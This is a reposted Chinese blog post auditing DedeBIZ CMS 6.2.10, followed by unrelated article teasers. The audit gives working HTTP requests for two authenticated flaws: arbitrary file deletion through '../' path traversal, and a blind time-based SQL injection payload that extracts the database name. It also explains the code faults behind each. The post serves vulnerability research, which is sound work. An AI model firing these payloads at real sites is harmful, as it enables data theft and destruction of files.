DedeBIZ系統審計小結

之前簡單審計過DedeBIZ系統,網上還沒有對這個系統的漏洞有過詳盡的分析,于是重新審計并總結文章,記錄下自己審計的過程。

https://github.com/DedeBIZ/DedeV6/archive/refs/tags/6.2.10.zip

image

📌DedeBIZ 系統并非基于 MVC 框架,而是采用 靜態化與動態解析結合 的方式進行頁面處理。其“路由”主要依賴 靜態文件跳轉 和 數據庫模板解析,因此可以直接訪問 PHP 文件來觸發相應的動態解析邏輯。

我一般會首先關注對文件的操作,任意文件上傳、任意文件刪除,任意文件讀取、任意文件下載等漏洞都是我第一時間關注的重點,除了黑盒測試時關注功能點外,通過代碼審計來看的話速度會更快一點。(這里有一個小技巧,就是直接全局搜索?filename=?,一些 js 文件中可能會包含對文件處理的操作,搜索到后就可以直接進行嘗試。)

授權任意文件刪除

GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt HTTP/1.1
Host: dedev6.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b; DedeStUUID=22636dd1d7205; DedeStUUID__ckMd5=bae1ecb193958e0d; ENV_GOBACK_URL=%2Fadmin%2Fmychannel_main.php
Connection: close

image?

src\admin\file_manage_control.php

image?

src\admin\file_class.php#DeleteFile

image?

該漏洞發生在 file_manage_control.php 處理 fmdo=del請求時,由于 DeleteFile方法直接拼接 filename參數生成完整路徑并調用 unlink 刪除文件,缺乏路徑校驗,導致攻擊者可以構造 ../進行目錄遍歷,刪除任意文件。通過 GET /admin/file_manage_control.php?fmdo=del&filename=../1.txt請求,利用 filename=../1.txt逃出受限目錄,刪除站點根目錄下的 1.txt文件。

幫助網安學習,全套資料S信免費領取:
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP客戶端安全檢測指南(安卓+IOS)

授權 SQL 注入

首先需要創建表單

image

image

修改添加字段信息

image

image

點擊字段發布信息

image

image

構造數據包

image

POST /admin/diy_list.php?action=delete&diyid=1&id[]=1)AND+sleep(5 HTTP/1.1
Host: dedev6.test
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://dedev6.test/admin/index_body.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=51t797sesf49d9oo8je5ugvjfa; dede_csrf_token=dfb0e80d4f74949ef3730a90d3f49c64; dede_csrf_token__ckMd5=554688926d285f96; DedeUserID=1; DedeUserID__ckMd5=6269166a7279678f; DedeLoginTime=1703426661; DedeLoginTime__ckMd5=7c3591094ad5f36b
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image

構造 payload 1)AND+(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end

image

(case(1)when(ascii(substr((select(database()))from(1)for(1)))=100)then(sleep(5))else(1)end 為 true 與查詢出的數據庫名 dedebiz 第一個字母 d 的 ascii 相符合。

為什么我們操作的時候需要那么多的前置條件呢,接下來我會詳細說明,首先我們從代碼層面查看:

src/admin/diy_list.php

image

對傳入的參數 數組 id 通過 , 拼接起來,最后傳參到 SQL 語句:

$query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";

參數可以通過 ) 閉合,構成 SQL 注入

我們注意到:

          $query = "DELETE FROM `$diy->table` WHERE id IN ($ids)";if ($dsql->ExecuteNoneQuery($query)) {showmsg('刪除成功', "diy_list.php?action=list&diyid={$diy->diyid}");} else {showmsg('刪除失敗', "diy_list.php?action=list&diyid={$diy->diyid}");}

執行的結果并不會直接返回到界面上,所以這個漏洞時一個盲注漏洞,基于盲注漏洞的特點以及執行數據庫時,如果這個表為空,那么便不會執行成功,為了使這個數據庫語句執行成功,數據庫中必須先保存有數據。

同時這個注入漏洞可以說絕無僅有:

image

對比代碼我們發現,就這一部分沒有對變量 id 的類型進行檢測。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/895358.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/895358.shtml
英文地址,請注明出處:http://en.pswp.cn/news/895358.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

業務開發 | 基礎知識 | Maven 快速入門

Maven 快速入門 1.Maven 全面概述 Apache Maven 是一種軟件項目管理和理解工具。基于項目對象模型的概念(POM),Maven 可以從中央信息中管理項目的構建,報告和文檔。 2.Maven 基本功能 因此實際上 Maven 的基本功能就是作為 Ja…

人工智能之推薦系統實戰系列(協同過濾,矩陣分解,FM與DeepFM算法)

一.推薦系統介紹和應用 (1)推薦系統通俗解讀 推薦系統就是來了就別想走了。例如在大數據時代中京東越買越想買,抖音越刷越是自己喜歡的東西,微博越刷越過癮。 (2).推薦系統發展簡介 1)推薦系統無處不在,它是根據用戶的行為決定推薦的內容…

2.11 sqlite3數據庫【數據庫的相關操作指令、函數】

練習: 將 epoll 服務器 客戶端拿來用 客戶端:寫一個界面,里面有注冊登錄 服務器:處理注冊和登錄邏輯,注冊的話將注冊的賬號密碼寫入數據庫,登錄的話查詢數據庫中是否存在賬號,并驗證密碼是否正確…

Python(十九)實現各大跨境船公司物流查詢數據處理優化

一、前言 之前已經實現了常用 跨境物流船司 基礎信息查詢功能,如下所示 實現各大跨境船公司[COSCO/ZIM/MSK/MSC/ONE/PIL]的物流信息查詢:https://blog.csdn.net/Makasa/article/details/145484999?spm1001.2014.3001.5501 然后本章在其基礎上做了一些…

CentOS開機自啟動服務內容設置

CentOS開機自啟動服務內容設置 1. 開機后自動配置時鐘同步2. 開機自啟動服務腳本3. 配置開機自動添加路由 1. 開機后自動配置時鐘同步 # cat /etc/rc.local /usr/sbin/ntpdate pool.ntp.org >> /var/log/ntpdate.log需要設置/etc/rc.local的一個權限: # ll …

基于微信小程序的博物館預約系統的設計與實現

hello hello~ ,這里是 code袁~💖💖 ,歡迎大家點贊🥳🥳關注💥💥收藏🌹🌹🌹 🦁作者簡介:一名喜歡分享和記錄學習的在校大學生…

深度學習框架TensorFlow怎么用?

大家好呀,以下是使用 TensorFlow 的詳細步驟,從安裝到構建和訓練模型: 一、安裝 TensorFlow 安裝 Python:TensorFlow 基于 Python,確保已安裝 Python(推薦 Python 3.8 及以上版本)。可通過 Pyt…

機器學習 - 特征學習(表示學習)

為了提高機器學習算法的能力,我們需要抽取有效、穩定的特征。 傳統的特征提取是通過人工方式進行的,需要大量的人工和專家知識。一個成功的機器學習系統通常需要嘗試大量的特征,稱為特征工程(Feature Engineering).但即使這樣,人…

【pytest】獲取所有用例名稱并存于數據庫

數據庫操作包,引用前面創建的py文件,【sqlite】python操作sqlite3(含測試) #!/usr/bin/env python # -*- coding: utf-8 -*- # Time : 2025-02-11 8:45 # Author : duxiaowei # File : get_filename.py # Software: 這個文…

2024年12月中國電子學會青少年軟件編程(Python)等級考試試卷(四級)

青少年軟件編程(Python)等級考試試卷(四級) 一、單選題(共25題,共60分) 1.以下有關位置實參和關鍵字實參的表述中,錯誤的選項是?(C) A.位置實參和關鍵字實參可以混用。 B. 形參不占用內存地址。 C.調用函…

c/c++藍橋杯經典編程題100道(18)括號匹配

括號匹配 ->返回c/c藍橋杯經典編程題100道-目錄 目錄 括號匹配 一、題型解釋 二、例題問題描述 三、C語言實現 解法1:棧匹配法(難度★) 解法2:計數器法(僅限單一括號類型,難度★☆) …

day02冒泡排序

思路&#xff1a; 外層循環控制循環次數(i<len)&#xff0c;設置swapFlagfalse內層循環j1(j<len-i)&#xff0c;兩兩(j和j-1)比較&#xff0c;逆序則交換內層每次循環結束&#xff0c;沒有交換&#xff0c;則break結束 內層循環j從1開始&#xff0c;小于len&#xff0c;…

如何在華為harmonyOS上調試軟件

1、設置-》關于手機-》HarmonyOS 版本連按多下&#xff0c;輸入鎖屏密碼。顯示開發者模式已打開。 2、設置-》搜索“開發人員選項”-》開啟“開發人員選項”選項。 3、在 開發者選項 中找到 “USB 調試” 并開啟。 4、開啟 “僅充電時允許 ADB 調試”。 5、設置中開啟 &quo…

供應SW7208 NVDC升降壓電池充電控制器IC

1. 概述 SW7208 是一款支持 NVDC 充電路徑管理&#xff0c;SMBus 接口和 USB PD 標準的同步雙向 buckboost 充電控制器。 SW7208 支持寬電壓輸入為 3.5 V ~ 36V&#xff0c;可以為 1 ~ 5 節電池充電&#xff0c;并且支持電池反向放電功能&#xff0c;輸出電壓可調 3V ~ 24V。…

fpga系列 HDL:Quartus II JTAG 間接配置文件 Indirect Configuration File (.jic) AS模式燒錄

先編譯生成pof文件 File->Convert Programming Files 轉換文件 Tools->Programer 燒錄

Python:凱撒密碼

題目內容&#xff1a; 凱撒密碼是古羅馬愷撒大帝用來對軍事情報進行加密的算法&#xff0c;它采用了替換方法對信息中的每一個英文字符循環替換為字母表序列該字符后面第三個字符&#xff0c;對應關系如下&#xff1a; 原文&#xff1a;A B C D E F G H I J K L M N O P Q R …

如何保證緩存和數據庫一致性

保證緩存和數據庫一致性是分布式系統中的一個常見挑戰。以下是幾種常用的策略和方法,用于解決緩存與數據庫之間的數據一致性問題: 1. 基礎同步策略 基礎同步策略包括以下幾種常見的操作順序: 先更新緩存再更新數據庫:這種方法可能導致緩存中的數據成為臟數據,因為如果數…

JavaScript系列(71)--函數式編程進階詳解

JavaScript函數式編程進階詳解 &#x1f3af; 今天&#xff0c;讓我們深入探討JavaScript函數式編程的進階內容。函數式編程是一種強大的編程范式&#xff0c;它通過使用純函數和不可變數據來構建可預測和可維護的應用程序。 函數式編程進階概念 &#x1f31f; &#x1f4a1;…

postman登錄cookie設置

1.設置環境變量&#xff0c; 定義變量存放共享的登錄信息 如Cookie 2.登錄接口編碼test腳本獲取cookie信息 let jsessionidCookie pm.cookies.get("JSESSIONID");if (jsessionidCookie) {let cookie "JSESSIONID" jsessionidCookie "; Admin-Tok…

c/c++藍橋杯經典編程題100道(21)背包問題

背包問題 ->返回c/c藍橋杯經典編程題100道-目錄 目錄 背包問題 一、題型解釋 二、例題問題描述 三、C語言實現 解法1&#xff1a;0-1背包&#xff08;基礎動態規劃&#xff0c;難度★&#xff09; 解法2&#xff1a;0-1背包&#xff08;空間優化版&#xff0c;難度★…